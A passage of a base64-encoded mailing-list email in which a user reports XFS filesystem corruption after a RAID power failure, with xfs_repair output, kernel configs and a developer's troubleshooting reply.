MTY4NTEwNDYsIHdvdWxkIHJlc2V0IHRvIDgxNw0KYmFkIG5ibG9ja3MgOTQgZm9yIGlub2RlIDE2 ODUyOTUyLCB3b3VsZCByZXNldCB0byA5Mw0KYmFkIG5ibG9ja3MgNjQ5IGZvciBpbm9kZSAxNjg1 ODkxOSwgd291bGQgcmVzZXQgdG8gNjU3DQpiYWQgbmJsb2NrcyAxMjEgZm9yIGlub2RlIDE2ODYx NzgwLCB3b3VsZCByZXNldCB0byAxMjANCmJhZCBuYmxvY2tzIDk1ODUgZm9yIGlub2RlIDE2ODYz MDk1LCB3b3VsZCByZXNldCB0byA5NDU3DQpiYWQgbmV4dGVudHMgMjM1IGZvciBpbm9kZSAxNjg2 MzA5NSwgd291bGQgcmVzZXQgdG8gMjM0DQpiYWQgbmJsb2NrcyA0MzMgZm9yIGlub2RlIDE2ODY4 NjkxLCB3b3VsZCByZXNldCB0byA0MjMNCmJhZCBuZXh0ZW50cyAyMDYgZm9yIGlub2RlIDE2ODY4 NjkxLCB3b3VsZCByZXNldCB0byAyMDUNCmJhZCBuYmxvY2tzIDI3MjEgZm9yIGlub2RlIDE2ODcw ODAxLCB3b3VsZCByZXNldCB0byAyNzIwDQpiYWQgbmJsb2NrcyAxMDI1IGZvciBpbm9kZSAxNjg3 MDkwMCwgd291bGQgcmVzZXQgdG8gMTAxNQ0KYmFkIG5ibG9ja3MgMjM3MSBmb3IgaW5vZGUgMTY4 NzEzMTEsIHdvdWxkIHJlc2V0IHRvIDI0MDINCmJhZCBuYmxvY2tzIDU0NyBmb3IgaW5vZGUgMTY4 NzM5OTMsIHdvdWxkIHJlc2V0IHRvIDU2MQ0KYmFkIG5ibG9ja3MgMzA3MSBmb3IgaW5vZGUgMTY4 NzY0NDEsIHdvdWxkIHJlc2V0IHRvIDMwNzMNCmJhZCBuYmxvY2tzIDI3IGZvciBpbm9kZSAxNjg3 NjU4Miwgd291bGQgcmVzZXQgdG8gMjYNCmJhZCBuYmxvY2tzIDMyIGZvciBpbm9kZSAxNjg4OTM1 NCwgd291bGQgcmVzZXQgdG8gMzMNCmJhZCBuYmxvY2tzIDY4MiBmb3IgaW5vZGUgMTY4OTYxNzEs IHdvdWxkIHJlc2V0IHRvIDY4OQ0KYmFkIG5ibG9ja3MgMTYxNyBmb3IgaW5vZGUgMTY4OTY3OTIs IHdvdWxkIHJlc2V0IHRvIDE2MTgNCmJhZCBuYmxvY2tzIDI0NCBmb3IgaW5vZGUgMTY5MDYzNzAs IHdvdWxkIHJlc2V0IHRvIDI1Nw0KYmFkIG5ibG9ja3MgMjQxNyBmb3IgaW5vZGUgMTY5MTEzNjgs IHdvdWxkIHJlc2V0IHRvIDI0MTYNCmJhZCBuYmxvY2tzIDk1MCBmb3IgaW5vZGUgMTY5MTI2ODIs IHdvdWxkIHJlc2V0IHRvIDk0OQ0KYmFkIG5ibG9ja3MgMjM1MCBmb3IgaW5vZGUgMTY5MjMwNzIs IHdvdWxkIHJlc2V0IHRvIDIzNTQNCmJhZCBuYmxvY2tzIDEwMTYgZm9yIGlub2RlIDE2OTIzNTQ5 LCB3b3VsZCByZXNldCB0byAxMDI1DQpiYWQgbWFnaWMgIyAweDIwMzEzMDMwIGluIGlub2RlIDE2 OTI3NzIxIChkYXRhIGZvcmspIGJtYnQgYmxvY2sgOTMwNTUzNA0KYmFkIGRhdGEgZm9yayBpbiBp bm9kZSAxNjkyNzcyMQ0Kd291bGQgaGF2ZSBjbGVhcmVkIGlub2RlIDE2OTI3NzIxDQpiYWQgbmJs b2NrcyAyNDEgZm9yIGlub2RlIDE2OTM4MzYzLCB3b3VsZCByZXNldCB0byAyNDANCmJhZCBuYmxv Y2tzIDI4OSBmb3IgaW5vZGUgMTY5NDA0MDAsIHdvdWxkIHJlc2V0IHRvIDI1Nw0KYmFkIG5leHRl bnRzIDMyIGZvciBpbm9kZSAxNjk0MDQwMCwgd291bGQgcmVzZXQgdG8gMzENCmJhZCBuYmxvY2tz IDEwNiBmb3IgaW5vZGUgMTY5NDIxMjIsIHdvdWxkIHJlc2V0IHRvIDExMw0KYmFkIG5ibG9ja3Mg MTA1MyBmb3IgaW5vZGUgMTY5NDY0MDUsIHdvdWxkIHJlc2V0IHRvIDEwNTcNCmJhZCBuYmxvY2tz IDY4MSBmb3IgaW5vZGUgMTY5NDg3NzYsIHdvdWxkIHJlc2V0IHRvIDY4OQ0KYmFkIG5ibG9ja3Mg NTYyIGZvciBpbm9kZSAxNjk0OTAxMSwgd291bGQgcmVzZXQgdG8gNTYxDQpiYWQgbmV4dGVudHMg MjAwIGZvciBpbm9kZSAxNjk0OTAxMSwgd291bGQgcmVzZXQgdG8gMTk5DQpiYWQgbmJsb2NrcyAx NDIgZm9yIGlub2RlIDE2OTU3Mjk2LCB3b3VsZCByZXNldCB0byAxNDUNCmJhZCBuYmxvY2tzIDUx IGZvciBpbm9kZSAxNjk2MDM2Miwgd291bGQgcmVzZXQgdG8gNjUNCmJhZCBuYmxvY2tzIDg5OCBm b3IgaW5vZGUgMTY5NjcwNzIsIHdvdWxkIHJlc2V0IHRvIDkxMw0KYmFkIG5ibG9ja3MgMzU0IGZv ciBpbm9kZSAxNjk3MjUxMywgd291bGQgcmVzZXQgdG8gMzY5DQpiYWQgbmJsb2NrcyA1MDggZm9y IGlub2RlIDE2OTgxMDIzLCB3b3VsZCByZXNldCB0byA1MTMNCmJhZCBuYmxvY2tzIDIxNiBmb3Ig aW5vZGUgMTY5ODMyNzEsIHdvdWxkIHJlc2V0IHRvIDIyNQ0KYmFkIG5ibG9ja3MgODMgZm9yIGlu b2RlIDE2OTgzMjgwLCB3b3VsZCByZXNldCB0byA5Nw0KYmFkIG5ibG9ja3MgNDIyIGZvciBpbm9k ZSAxNjk4NzA0OSwgd291bGQgcmVzZXQgdG8gNDMzDQpiYWQgbmJsb2NrcyAxMDU2IGZvciBpbm9k ZSAxNjk5MDMwNiwgd291bGQgcmVzZXQgdG8gMTA1OA0KYmFkIG5ibG9ja3MgMTgwIGZvciBpbm9k ZSAxNjk5MjY4Nywgd291bGQgcmVzZXQgdG8gMTkzDQpiYWQgbmJsb2NrcyAzOSBmb3IgaW5vZGUg MTY5OTUyMzksIHdvdWxkIHJlc2V0IHRvIDQ5DQpiYWQgbmJsb2NrcyAzMDg1IGZvciBpbm9kZSAx Njk5NzM0NCwgd291bGQgcmVzZXQgdG8gMzA5MQ0KYmFkIG5ibG9ja3MgMzkwIGZvciBpbm9kZSAx NzAwMDY0MCwgd291bGQgcmVzZXQgdG8gNDAxDQpiYWQgbmJsb2NrcyAxMzQ1IGZvciBpbm9kZSAx NzAwNDgyNCwgd291bGQgcmVzZXQgdG8gMTM0Ng0KYmFkIG5ibG9ja3MgMjEgZm9yIGlub2RlIDE3 MDA1NjIxLCB3b3VsZCByZXNldCB0byAzMw0KYmFkIG5ibG9ja3MgMjMyMCBmb3IgaW5vZGUgMTcw MTkxMTEsIHdvdWxkIHJlc2V0IHRvIDIzMjMNCk5vIG1vZGlmeSBmbGFnIHNldCwgc2tpcHBpbmcg cGhhc2UgNQ0KUGhhc2UgNiAtIGNoZWNrIGlub2RlIGNvbm5lY3Rpdml0eS4uLg0KICAgICAgIC0g dHJhdmVyc2luZyBmaWxlc3lzdGVtIC4uLg0KZW50cnkgIjEwLjYuMTE0LjE0OCIgaW4gZGlyZWN0 b3J5IGlub2RlIDE5MTI1IHBvaW50cyB0byBmcmVlIGlub2RlIDE2OTI3NzIxDQosIHdvdWxkIGp1 bmsgZW50cnkNCiAgICAgICAtIHRyYXZlcnNhbCBmaW5pc2hlZCAuLi4NCiAgICAgICAtIG1vdmlu ZyBkaXNjb25uZWN0ZWQgaW5vZGVzIHRvIGxvc3QrZm91bmQgLi4uDQpQaGFzZSA3IC0gdmVyaWZ5 IGxpbmsgY291bnRzLi4uDQpObyBtb2RpZnkgZmxhZyBzZXQsIHNraXBwaW5nIGZpbGVzeXN0ZW0g Zmx1c2ggYW5kIGV4aXRpbmcuDQoNCnhmc3Byb2dzIHV0aWw/cyB3b3JrcyBmaW5lIHdpdGgga2Vy bmVsIDMuNy4xMCAoY29uZmlnIGtlcm5lbCBwYXJhbXMgbGlzdA0KYmVsb3cpOg0KL3Vzci9zcmMv bGludXgtMy43LjEwLWdlbnRvby8uY29uZmlnDQpDT05GSUdfWEZTX0ZTPXkNCkNPTkZJR19YRlNf UVVPVEE9eQ0KQ09ORklHX1hGU19QT1NJWF9BQ0w9eQ0KQ09ORklHX1hGU19SVD15DQojIENPTkZJ R19YRlNfREVCVUcgaXMgbm90IHNldA0KDQp4ZnNwcm9ncyB1dGlsP3MgaGFuZ3MgaW4gc3RhcnQg d2l0aCBrZXJuZWwgMy4xMC4yNSAoY29uZmlnIGtlcm5lbCBwYXJhbXMNCmxpc3QgYmVsb3cpOg0K L3Vzci9zcmMvbGludXgtMy4xMC4yNS1nZW50b28vLmNvbmZpZw0KQ09ORklHX1hGU19GUz15DQpD T05GSUdfWEZTX1FVT1RBPXkNCkNPTkZJR19YRlNfUE9TSVhfQUNMPXkNCkNPTkZJR19YRlNfUlQ9 eQ0KQ09ORklHX1hGU19ERUJVRz15DQoNCk91dHB1dCBvZiBsb2cgcHJpbnQgY29tbWFuZCBJP2Ft IHVwbG9hZCBpbiB3ZWItc2l0ZToNCnhmc19sb2dwcmludCAtZCAtQyAuL3hmc19sb2cuZHVtcA0K aHR0cDovL3lhZGkuc2svZC9KeHYtSXRSU0d0OHZODQoNCg0KDQoNCg0KDQoyOC4wMS4yMDE0LCDX IDg6NDYsICJEbWl0cml5IFl1IExlb25vdiIgPERMZW9ub3ZAYmVlbGluZS5ydT4gzsHQydPBzCjB KToNCg0KICAgICAgR29vZCBtb3JuaW5nLCBEYXZlLg0KDQogICAgICBUaGFuayB5b3UgZm9yIHlv dXIgcmVzcG9uc2UgdG8gbXkgbWVzc2FnZS4NCg0KICAgICAgUTogU28gc29tZXRoaW5nIHdlbnQg d3Jvbmcgd2l0aCB0aGUgSFcgUkFJRCwgYW5kIHRoZW4geW91IGZvdW5kDQogICAgICBlcnJvcnMg aW4gdGhlIGZpbGVzeXN0ZW0/DQogICAgICBBOiBZZXMuIFByZXN1bWFibHkgb24gdGhlIHNlcnZl ciB3ZXJlIHByb2JsZW1zIHdpdGggdGhlIHBvd2VyIHN1cHBseS4NCiAgICAgIEluIHRoZSBIVyBS QUlEIGJhdHRlcnkgYmFja3VwIGluc3RhbGxlZC4gQnV0IHdoZW4gdGhlIHNlcnZlciB0dXJuDQog ICAgICBvZmYvb24gZXJyb3JzIG9jY3VycmVkIHRoYXQgbGVkIHRvIHRoZSBjdXJyZW50IHNpdHVh dGlvbi4gVGhlIGN1cnJlbnQNCiAgICAgIHN0YXR1cyBvZiB0aGUgSFcgUkFJRC1jb250cm9sbGVy IHN0YWJsZS4gdGhlcmUgYXJlIG5vIGVycm9ycy4NCg0KICAgICAgUTogSXQgZmFpbGVkIHRvIG1v dW50IHdpdGggdGhlIHN0YWNrIHRyYWNlIHRoYXQgeW91IGF0dGFjaGVkPyBJZiBzbywNCiAgICAg IHRoZXJlJ3MgYSBjb3JydXB0IGZyZWVzcGFjZSB0cmVlIGluIHRoZSBmaWxlc3lzdGVtLg0KICAg ICAgQTogWWVzLiBUaGUgYXR0YWNoZWQgc3RhY2sgdHJhY2UgaXMgcmVjZWl2ZWQgYWZ0ZXIgdGhl IGluY2lkZW50LiBJDQogICAgICB3YXRjaGVkIHRoZSBzb3VyY2UgY29kZSBmaWxlIHRoYXQgaXMg cmVmZXJlbmNlZCB0cmFjZSwgYnV0LA0KICAgICAgdW5mb3J0dW5hdGVseSwgY291bGQgbm90IGZp Z3VyZSBvdXQgaG93IHRvIGZpeCB0aGUgcHJvYmxlbS4gSXMgdGhlcmUNCiAgICAgIGEgcG9zc2li aWxpdHkgdG8gZml4IHRoZSBwcm9ibGVtIHdpdGggYSBjb3JydXB0IGZyZWVzcGFjZSB0cmVlIGlu IHRoZQ0KICAgICAgZmlsZXN5c3RlbT8NCg0KICAgICAgUTogRmlyc3Qgb2YgYWxsLCBJJ2Qgc3Vn Z2VzdCB1cGRhdGluZyB0byBhdCBsZWFzdCB2ZXJzaW9uIDMuMS4xMSBvZg0KICAgICAgeGZzcHJv Z3MuIElmIGl0IHN0aWxsIGhhbmdzLCB0aGVuIGl0J3MgcXVpdGUgbGlrZWx5IHRoZXJlIHNvbWV0 aGluZw0KICAgICAgc3RpbGwgd3Jvbmcgd2l0aCB5b3VyIEhXIFJBSUQuIFlvdXIgZmlyc3Qgc3Rl cCBpcyB0byBtYWtlIHN1cmUgeW91cg0KICAgICAgSFcgUkFJRCBpcyBoZWFsdGh5IGJlZm9yZSB0 cnlpbmcgdG8gcmVwYWlyIG9yIG1vdW50IHRoZQ0KICAgICAgZmlsZXN5c3RlbS4uLi4NCiAgICAg IEE6IEkgd2lsbCB0cnkgdG8gZm9sbG93IFlvdXIgcmVjb21tZW5kYXRpb25zLiBTZXJ2ZXIgaXMg cnVubmluZyBvbiBhDQogICAgICBHZW50b28gc3lzdGVtLiBDdXJyZW50IHN0YWJsZSB2ZXJzaW9u IG9mIHhmc3Byb2dzIGluIGdlbnRvbyBwb3J0YWdlDQogICAgICBpcyAzLjEuMTAsIDMuMS4xMS1y MSBpcyB1bnN0YWJsZS4gQnV0IEkgd2lsbCBpbnN0YWxsIHRoZSBsYXN0IHRvDQogICAgICBjaGVj ay4gQWNjb3JkaW5nIHRvIHRoZSByZXN1bHRzIG9mIHdyaXRlLiBBbHNvIEknbSBhdHRhY2ggdG8g dGhlDQogICAgICBtZXNzYWdlIGZpbGUgd2l0aCBhIGRpYWdub3NpcyBIVyBSQUlEIGNvbnRyb2xs ZXIuIFRoZSBjdXJyZW50IHN0YXR1cw0KICAgICAgb2YgdGhlIGNvbnRyb2xsZXIgaXMgc3RhYmxl Lg0KDQogICAgICBJIGhvcGUgZm9yIFlvdXIgaGVscCBpbiBzb2x2aW5nIHRoZSBwcm9ibGVtLg0K DQogICAgICAtLQ0KICAgICAgICBEbWl0cnkgTGVvbm92Lg0KDQogICAgICAoU2VlIGF0dGFjaGVk IGZpbGU6IFJlcG9ydF9SQUlEX3N0YXR1c18yMDE0MDEyOC50eHQpDQoNCiAgICAgIERhdmUgQ2hp bm5lciAtLS0yOC4wMS4yMDE0IDAzOjE0OjE3LS0tT24gTW9uLCBKYW4gMjcsIDIwMTQgYXQNCiAg ICAgIDExOjEyOjE1QU0gKzA0MDAsIERtaXRyaXkgWXUgTGVvbm92IHdyb3RlOiA+DQoNCg0KICAg ICAg79Q6IERhdmUgQ2hpbm5lciA8ZGF2aWRAZnJvbW9yYml0LmNvbT4NCiAgICAgIOvPzdU6IERt aXRyaXkgWXUgTGVvbm92IDxETGVvbm92QGJlZWxpbmUucnU+LA0KICAgICAg68/QydE6IHhmc0Bv c3Muc2dpLmNvbQ0KICAgICAg5MHUwTogMjguMDEuMjAxNCAwMzoxNA0KICAgICAg9MXNwTogUmU6 IFhGUzogQXNzZXJ0aW9uIGZhaWxlZDogZnNfaXNfb2ssIGZpbGU6IGZzL3hmcy94ZnNfYWxsb2Mu YywNCiAgICAgIGxpbmU6IDE1OTANCg0KDQoNCiAgICAgIE9uIE1vbiwgSmFuIDI3LCAyMDE0IGF0 IDExOjEyOjE1QU0gKzA0MDAsIERtaXRyaXkgWXUgTGVvbm92IHdyb3RlOg0KICAgICAgPg0KICAg ICAgPiBIZWxsbywgZGVhciBkZXZlbG9wZXJzDQogICAgICA+DQogICAgICA+IEZhY2VkICB3aXRo ICB0aGUgIHByb2JsZW0gb2YgdXNpbmcgWEZTLiBJJ20gdXNlIHRoZSBYRlMgZmlsZSBzeXN0ZW0N CiAgICAgIG9uDQogICAgICA+IHRoZSAgc2VydmVyIHdpdGhvdXQgcHJvYmxlbXMgdGhyZWUgeWVh cnMuIFJlY2VudGx5IGRpc2NvdmVyZWQgdGhhdA0KICAgICAgdGhlDQogICAgICA+IGRpc2sgKHJh aWQtYXJyYXkpIHdpdGggWEZTIGlzIG5vdCBhdmFpbGFibGUuDQogICAgICA+DQogICAgICA+IFRo ZSBsb2dzIHJhaWQgY29udHJvbGxlciBhcHBlYXJlZDogMjAxNC0wMS0yNCAwNzoxMjozNCBIL1cg TW9uaXRvcg0KICAgICAgUmFpZA0KICAgICAgPiBQb3dlcmVkIE9uDQoNCiAgICAgIFNvIHNvbWV0 aGluZyB3ZW50IHdyb25nIHdpdGggdGhlIEhXIFJBSUQsIGFuZCB0aGVuIHlvdSBmb3VuZCBlcnJv cnMNCiAgICAgIGluIHRoZSBmaWxlc3lzdGVtPw0KDQogICAgICA+IFdoZW4gSSByZXN0YXJ0IHRo ZSBzZXJ2ZXIsIEkgZm91bmQgdGhhdCB0aGUgcmFpZCBhcnJheSBpcyBub3QgbW91bnQNCiAgICAg IG9uDQogICAgICA+IHRoZSBtb3VudCBwb2ludCAvZGV2L3NkYjEgKGZpbGVzeXN0ZW0gWEZTKS4N Cg0KICAgICAgSXQgZmFpbGVkIHRvIG1vdW50IHdpdGggdGhlIHN0YWNrIHRyYWNlIHRoYXQgeW91 IGF0dGFjaGVkPyBJZiBzbywNCiAgICAgIHRoZXJlJ3MgYSBjb3JydXB0IGZyZWVzcGFjZSB0cmVl IGluIHRoZSBmaWxlc3lzdGVtLg0KDQogICAgICA+IFdoZW4gIEkgIHJ1biAgdGhlIHV0aWxpdHkg eGZzX3JlcGFpciAtUCAvZGV2L3NkYjEgaXQgaGFuZ3MuIFdoZW4gSQ0KICAgICAgcnVuDQogICAg ICA+IG1vdW50ICAvZGV2L3NkYjEgIG5vdCAgaXNzdWVkICBhbnkgIGVycm9ycyBhbmQgYXBwbGlj YXRpb24gYWxzbw0KICAgICAgaGFuZ3MuDQogICAgICA+IFRhc2sncyBjYW5ub3QgZmluaXNoIGV2 ZW4gdGhlIGNvbW1hbmQga2lsbCAtOSA8cGlkPi4NCg0KICAgICAgRmlyc3Qgb2YgYWxsLCBJJ2Qg c3VnZ2VzdCB1cGRhdGluZyB0byBhdCBsZWFzdCB2ZXJzaW9uIDMuMS4xMSBvZg0KICAgICAgeGZz cHJvZ3MuIElmIGl0IHN0aWxsIGhhbmdzLCB0aGVuIGl0J3MgcXVpdGUgbGlrZWx5IHRoZXJlIHNv bWV0aGluZw0KICAgICAgc3RpbGwgd3Jvbmcgd2l0aCB5b3VyIEhXIFJBSUQuDQoNCiAgICAgIFlv dXIgZmlyc3Qgc3RlcCBpcyB0byBtYWtlIHN1cmUgeW91ciBIVyBSQUlEIGlzIGhlYWx0aHkgYmVm b3JlDQogICAgICB0cnlpbmcgdG8gcmVwYWlyIG9yIG1vdW50IHRoZSBmaWxlc3lzdGVtLi4uLg0K DQogICAgICBDaGVlcnMsDQoNCiAgICAgIERhdmUuDQogICAgICAtLQ0KICAgICAgRGF2ZSBDaGlu bmVyDQogICAgICBkYXZpZEBmcm9tb3JiaXQuY29tDQogICAgICA8UmVwb3J0X1JBSURfc3RhdHVz XzIwMTQwMTI4LnR4dD4= --0__=CBBBF6E7DF8E1E928f9e8a93df938690918cCBBBF6E7DF8E1E92 Content-type: text/html; charset=KOI8-R Content-Disposition: inline Content-transfer-encoding: base64 PGh0bWw+PGJvZHk+DQo8cD48Zm9udCBzaXplPSIyIiBmYWNlPSJzYW5zLXNlcmlmIj5Hb29kIG1v cm5pbmcuPC9mb250Pjxicj4NCjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5JcyB0 aGVyZSBhbnkgbmV3cyBvbiBteSBxdWVzdGlvbj88L2ZvbnQ+PGJyPg0KPGJyPg0KPGZvbnQgc2l6 ZT0iMyIgZmFjZT0ic2VyaWYiPiYjODIxMjs8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFj ZT0ic2VyaWYiPiZuYnNwOyBTaW5jZXJlbHksIERtaXRyeTwvZm9udD48Zm9udCBzaXplPSIyIiBm YWNlPSJzYW5zLXNlcmlmIj4uPC9mb250Pjxicj4NCjxmb250IHNpemU9IjIiIGZhY2U9InNhbnMt c2VyaWYiPjxicj4NCjwvZm9udD48Zm9udCBzaXplPSIxIiBjb2xvcj0iIzgwMDA4MCIgZmFjZT0i c2Fucy1zZXJpZiI+LS0tLS0g8MXSxdPMwc7POiBEbWl0cml5IFl1IExlb25vdi9CZWVMaW5lIMTB 1ME6IDAzLjAyLjIwMTQgMDk6MjMgLS0tLS08L2ZvbnQ+PGJyPg0KPGJyPg0KPGZvbnQgc2l6ZT0i MSIgY29sb3I9IiM1RjVGNUYiIGZhY2U9InNhbnMtc2VyaWYiPu/UOgk8L2ZvbnQ+PGZvbnQgc2l6 ZT0iMSIgZmFjZT0ic2Fucy1zZXJpZiI+RG1pdHJpeSBZdSBMZW9ub3YvQmVlTGluZTwvZm9udD48 YnI+DQo8Zm9udCBzaXplPSIxIiBjb2xvcj0iIzVGNUY1RiIgZmFjZT0ic2Fucy1zZXJpZiI+68/N 1ToJPC9mb250Pjxmb250IHNpemU9IjEiIGZhY2U9InNhbnMtc2VyaWYiPnhmc0Bvc3Muc2dpLmNv bSwgPC9mb250Pjxicj4NCjxmb250IHNpemU9IjEiIGNvbG9yPSIjNUY1RjVGIiBmYWNlPSJzYW5z LXNlcmlmIj7rz9DJ0ToJPC9mb250Pjxmb250IHNpemU9IjEiIGZhY2U9InNhbnMtc2VyaWYiPmRh dmlkQGZyb21vcmJpdC5jb208L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMSIgY29sb3I9IiM1RjVG NUYiIGZhY2U9InNhbnMtc2VyaWYiPuTB1ME6CTwvZm9udD48Zm9udCBzaXplPSIxIiBmYWNlPSJz YW5zLXNlcmlmIj4zMC4wMS4yMDE0IDA4OjA4PC9mb250Pjxicj4NCjxmb250IHNpemU9IjEiIGNv bG9yPSIjNUY1RjVGIiBmYWNlPSJzYW5zLXNlcmlmIj70xc3BOgk8L2ZvbnQ+PGZvbnQgc2l6ZT0i MSIgZmFjZT0ic2Fucy1zZXJpZiI+Jmd0OyZndDs6IFJlOiBIwTogUmU6IFhGUzogQXNzZXJ0aW9u IGZhaWxlZDogZnNfaXNfb2ssIGZpbGU6IGZzL3hmcy94ZnNfYWxsb2MuYywgbGluZTogMTU5MDwv Zm9udD48YnI+DQo8aHIgd2lkdGg9IjEwMCUiIHNpemU9IjIiIGFsaWduPSJsZWZ0IiBub3NoYWRl IHN0eWxlPSJjb2xvcjojODA5MUE1OyAiPjxicj4NCjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9 InNlcmlmIj5Hb29kIG1vbmluZywgZGVhciBkZXZlbG9wZXJzLjwvZm9udD48YnI+DQo8YnI+DQo8 Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+SXMgdGhlcmUgYW55IGNvbmNsdXNpb24gb24gdGhl IHN1Ym1pdHRlZCBpbmZvcm1hdGlvbj8gQ2FuIFlvdSBoZWxwIHdpdGggYSBzb2x1dGlvbiB0byBt eSBwcm9ibGVtPzwvZm9udD48YnI+DQo8YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ UFMuIEknbSByZWdpc3RlcmVkIHByb2JsZW0gYWxzbyBpbiBYRlMgYnVnemlsbGE6IDwvZm9udD48 Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+PGEgaHJlZj0iaHR0cDovL29zcy5zZ2kuY29tL2J1 Z3ppbGxhL3Nob3dfYnVnLmNnaT9pZD0xMDQ1Ij5odHRwOi8vb3NzLnNnaS5jb20vYnVnemlsbGEv c2hvd19idWcuY2dpP2lkPTEwNDU8L2E+PC9mb250Pjxicj4NCjxmb250IHNpemU9IjIiIGZhY2U9 InNhbnMtc2VyaWYiPjxicj4NCjwvZm9udD48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+JiM4 MjEyOzwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7IFNpbmNl cmVseSwgRG1pdHJ5LjwvZm9udD48Zm9udCBzaXplPSIyIiBmYWNlPSJzYW5zLXNlcmlmIj48YnI+ DQo8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMSIgY29sb3I9IiM4MDAwODAiIGZhY2U9InNhbnMt c2VyaWYiPi0tLS0tIPDF0sXTzMHOzzogRG1pdHJpeSBZdSBMZW9ub3YvQmVlTGluZSDEwdTBOiAz MC4wMS4yMDE0IDA4OjA3IC0tLS0tPC9mb250Pjxicj4NCjxicj4NCjxmb250IHNpemU9IjEiIGNv bG9yPSIjNUY1RjVGIiBmYWNlPSJzYW5zLXNlcmlmIj7v1DoJPC9mb250Pjxmb250IHNpemU9IjEi IGZhY2U9InNhbnMtc2VyaWYiPkRtaXRyaXkgWXUgTGVvbm92L0JlZUxpbmU8L2ZvbnQ+PGJyPg0K PGZvbnQgc2l6ZT0iMSIgY29sb3I9IiM1RjVGNUYiIGZhY2U9InNhbnMtc2VyaWYiPuvPzdU6CTwv Zm9udD48Zm9udCBzaXplPSIxIiBmYWNlPSJzYW5zLXNlcmlmIj54ZnNAb3NzLnNnaS5jb20sIDwv Zm9udD48YnI+DQo8Zm9udCBzaXplPSIxIiBjb2xvcj0iIzVGNUY1RiIgZmFjZT0ic2Fucy1zZXJp ZiI+68/QydE6CTwvZm9udD48Zm9udCBzaXplPSIxIiBmYWNlPSJzYW5zLXNlcmlmIj5kYXZpZEBm cm9tb3JiaXQuY29tPC9mb250Pjxicj4NCjxmb250IHNpemU9IjEiIGNvbG9yPSIjNUY1RjVGIiBm YWNlPSJzYW5zLXNlcmlmIj7kwdTBOgk8L2ZvbnQ+PGZvbnQgc2l6ZT0iMSIgZmFjZT0ic2Fucy1z ZXJpZiI+MjkuMDEuMjAxNCAwODoyMjwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIxIiBjb2xvcj0i IzVGNUY1RiIgZmFjZT0ic2Fucy1zZXJpZiI+9MXNwToJPC9mb250Pjxmb250IHNpemU9IjEiIGZh Y2U9InNhbnMtc2VyaWYiPiZndDsmZ3Q7OiBSZTogSME6IFJlOiBYRlM6IEFzc2VydGlvbiBmYWls ZWQ6IGZzX2lzX29rLCBmaWxlOiBmcy94ZnMveGZzX2FsbG9jLmMsIGxpbmU6IDE1OTA8L2ZvbnQ+ PGJyPg0KPGhyIHdpZHRoPSIxMDAlIiBzaXplPSIyIiBhbGlnbj0ibGVmdCIgbm9zaGFkZSBzdHls ZT0iY29sb3I6IzgwOTFBNTsgIj48YnI+DQo8YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJp ZiI+UmVwb3N0IG15IG1lc3NhZ2UsIGJlY2F1c2UgSSBhY2NpZGVudGFsbHkgYW5zd2VyZWQgRGF2 ZSBpbnN0ZWFkIG9mIGFuc3dlcmluZyBhbGwuIFNvcnJ5LjwvZm9udD48YnI+DQo8Zm9udCBzaXpl PSIzIiBmYWNlPSJzZXJpZiI+SSdtIHJlZ2lzdGVyZWQgcHJvYmxlbSBhbHNvIGluIFhGUyBidWd6 aWxsYTogPC9mb250Pjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj48YSBocmVmPSJodHRwOi8v b3NzLnNnaS5jb20vYnVnemlsbGEvc2hvd19idWcuY2dpP2lkPTEwNDUiPmh0dHA6Ly9vc3Muc2dp LmNvbS9idWd6aWxsYS9zaG93X2J1Zy5jZ2k/aWQ9MTA0NTwvYT48L2ZvbnQ+PGJyPg0KPGJyPg0K PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPkdvb2QgZXZlbmluZywgRGF2ZS4gPC9mb250Pjxi cj4NCjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5JJiM4MjE3O20gaW5zdGFsbGVk IHhmc3Byb2dzIHZlcnNpb24gMy4xLjExIGFuZCB0cnkgdG8gcmVwYWlyIGZpbGVzeXN0ZW0gb24g dGhlIHJhaWQgZGlzay4gQnV0IGNvbW1hbmQgeGZzX3JlcGFpciAtUCAvZGV2L3NkYjEgaGFuZ2Vk LjwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+VGhlbiBJIGRlY2lkZWQg dG8gcmVib290IHdpdGggb2xkIGtlcm5lbCB2ZXJzaW9uIDMuNy4xMCAoSSBoYXZlIHNldmVyYWwg dmVyc2lvbnMgb2Yga2VybmVsKS4gQWZ0ZXIgcmVib290IHRoZSBzeXN0ZW0sIEkgcmFuIHRoZSBj b21tYW5kIGFnYWluLiBDb21tYW5kIGV4ZWN1dGVkIHN1Y2Nlc3NmdWxseSBpbiB0aGUgb2xkIGtl cm5lbCAzLjcuMTAuIE91dHB1dCBvZiB0aGUgY29tbWFuZHMgYXR0YWNoZWQgdG8gdGhlIGxldHRl ciBhZnRlciB0aGUgdGV4dC48L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYi PkZyb20gdGhlIGRlc2NyaXB0aW9uIG9mIHRoZSBjb21tYW5kcyBvdXRwdXQgY2xlYXIgdGhhdCB0 aGVyZSBpcyBhIGxvc3Mgb2YgbG9nIGZpbGUgZGF0YS4gTm93IEkgbmVlZCB0byByZXN0b3JlIHRo ZSBmaWxlIHN5c3RlbSB3aXRoIGEgbWluaW11bSBvZiBkYXRhIGxvc3MuIElzIGl0IHBvc3NpYmxl PyBXaGF0IGNvbW1hbmQgc2V0IGNvcnJlY3RseSBmb3IgdGhhdCB1c2U/PC9mb250Pjxicj4NCjxi 